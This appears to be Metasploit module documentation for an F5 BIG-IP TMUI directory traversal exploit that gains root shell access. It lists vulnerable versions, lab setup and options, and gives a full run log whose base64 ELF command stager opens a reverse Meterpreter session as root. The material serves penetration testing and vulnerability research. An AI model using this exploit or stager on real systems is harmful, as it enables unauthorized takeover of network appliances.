## Vulnerable Application

### Description

This module exploits a directory traversal in F5's BIG-IP Traffic
Management User Interface (TMUI) to upload a shell script and execute
it as the Unix root user.

Unix shell access is obtained by escaping the restricted Traffic
Management Shell (TMSH). The escape may not be reliable, and you may
have to run the exploit multiple times. Sorry!

Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2,
15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced
in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4.

Tested against the VMware OVA release of 14.1.2.

### Setup

Download
[BIGIP-14.1.2-0.0.37.ALL-scsi.ova](https://downloads.f5.com/esd/serveDownload.jsp?path=/big-ip/big-ip_v14.x/14.1.2/english/virtual-edition/&sw=BIG-IP&pro=big-ip_v14.x&ver=14.1.2&container=Virtual-Edition&file=BIGIP-14.1.2-0.0.37.ALL-scsi.ova)
and import it into your desired virtualization software.

You _may_ need to log in to the management interface as the `admin` user
to complete system initialization and make the target exploitable. The
default password for the `admin` user is `admin`.

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Targets

### 0

This executes a Unix command.

### 1

This uses a Linux dropper to execute code.

## Options

### WritableDir

Set this to a writable directory in which files will be dropped.
Defaults to `/tmp`.

## Scenarios

### F5 BIG-IP 14.1.2 in VMware Fusion

```
msf5 > use exploit/linux/http/f5_bigip_tmui_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/http/f5_bigip_tmui_rce) > options

Module options (exploit/linux/http/f5_bigip_tmui_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      443              yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


msf5 exploit(linux/http/f5_bigip_tmui_rce) > set rhosts 172.16.249.179
rhosts => 172.16.249.179
msf5 exploit(linux/http/f5_bigip_tmui_rce) > set lhost 172.16.249.1
lhost => 172.16.249.1
msf5 exploit(linux/http/f5_bigip_tmui_rce) > run

[*] Started reverse TCP handler on 172.16.249.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Target is running BIG-IP 14.1.2.
[*] Creating alias list=bash
[-] Alias "list" already exists, deleting it
[*] Deleting alias list=bash
[+] Successfully deleted alias list=bash
[*] Creating alias list=bash
[+] Successfully created alias list=bash
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwQ+QFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/wCkkU.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/whuIi' < '/tmp/wCkkU.b64' ; chmod +x '/tmp/whuIi' ; '/tmp/whuIi' ; rm -f '/tmp/whuIi' ; rm -f '/tmp/wCkkU.b64'"]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwQ+QFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/wCkkU.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/whuIi' < '/tmp/wCkkU.b64' ; chmod +x '/tmp/whuIi' ; '/tmp/whuIi' ; rm -f '/tmp/whuIi' ; rm -f '/tmp/wCkkU.b64'
[*] Uploading /tmp/WuyGIfbP
[+] Successfully uploaded /tmp/WuyGIfbP
[*] Executing /tmp/WuyGIfbP
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012516 bytes) to 172.16.249.179
[*] Meterpreter session 1 opened (172.16.249.1:4444 -> 172.16.249.179:55118) at 2020-07-17 06:06:38 -0500
[+] Deleted /tmp/WuyGIfbP
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Deleting alias list=bash
[+] Successfully deleted alias list=bash

meterpreter > getuid
Server username: no-user @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : CentOS 7.3.1611 (Linux 3.10.0-514.26.2.el7.ve.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```
